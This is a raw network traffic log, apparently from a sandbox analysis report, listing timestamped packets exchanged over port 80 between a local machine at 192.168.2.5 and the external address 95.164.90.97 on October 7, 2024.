Oct 7, 2024 21:18:44.823797941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823817015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823817968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823832989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823842049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823851109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823858023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823872089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823873043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823889017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823889017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823900938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823903084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823923111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823941946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823992014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824007034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824022055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824024916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824038029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824039936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824054956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824060917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824069977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824070930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824086905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824096918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824121952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824311972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824352026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824466944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824482918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824496984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824513912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824527025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824632883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824647903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824664116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824677944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824680090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824692965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.824711084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.824733973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825061083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825076103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825089931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825104952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825109005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825120926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825131893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825135946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825155020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825170994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825201988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825217009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825231075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825234890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825248003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825254917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825268030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825301886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825407982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825423956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825438023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825452089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825463057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825469971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825472116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825486898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825501919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825511932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825531006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825551987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825711012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825726032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825741053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825756073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825761080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825773001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825800896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825810909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.825864077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825880051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.825913906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826014042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826064110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826172113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826189041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826204062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826212883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826219082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826225996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826236010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826241970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826251984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826257944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826268911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826273918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826289892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826303959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826484919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826498985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826540947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826641083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826657057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826670885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826678038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826688051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826703072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826704979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826720953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826730013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826735020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826750994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826752901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826766968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826776028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826781034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826797009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826802969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826812983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826826096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826828003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.826849937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.826869965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827147007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827189922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827346087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827361107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827374935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827409983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827421904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827421904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827460051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827486992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827506065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827517986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827528954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827553034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827658892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827673912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827688932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827703953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827718019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827718019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827743053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827754021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827810049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827826023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827838898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827851057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827853918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827864885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827869892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827883959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827888012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827904940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827914953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.827919006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827934980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.827939034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.828000069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.828000069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905225992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905245066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905261040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905276060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905292034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905307055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905314922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905314922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905323982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905360937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905374050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905374050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905390978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905431986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905536890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905577898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905770063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905783892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905798912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905813932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.905827045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.905858040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906101942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906116962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906132936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906152010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906177044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906270027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906286001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906347990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906347990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906727076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906740904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906757116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906780958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906807899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906893969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906913996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906922102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906941891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906960964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.906970024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.906986952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907023907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907159090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907174110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907196999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907212019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907242060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907320976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907335997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907346964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907357931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907358885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907368898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907375097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907393932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907444954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907639980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907675982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907799006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907809019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907819033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907830000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907835007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907840967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907851934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907855988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907862902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907872915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907881975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907882929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907892942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907900095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907906055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.907938004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907938004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.907952070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.908127069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908171892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.908323050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908332109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908337116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908341885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908346891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908356905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908405066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.908744097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908754110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908763885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.908792019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.908806086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909061909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909073114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909081936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909091949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909101009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909109116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909118891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909167051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909193039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909205914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909216881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909224987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909236908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909246922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909250021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909290075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909528971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909539938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909548998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909558058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909567118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909569025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909578085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909588099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909594059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909620047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909631968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909677982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909688950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909698009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909707069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909708977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909738064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909749031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909863949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909882069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909890890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909899950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909910917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909909964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909921885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909933090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.909940958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909970999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.909970999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910177946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910187960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910197020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910248041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910355091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910365105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910376072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910386086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910388947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910394907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910406113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910414934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910415888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910425901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910434961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910440922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910444975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910455942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910458088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910484076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910506010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910603046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910614967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910624027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910634041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.910649061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.910725117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.911098957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.911109924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.911119938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.911129951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.911135912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.911169052 CEST	49810	80	192.168.2.5	95.164.90.97
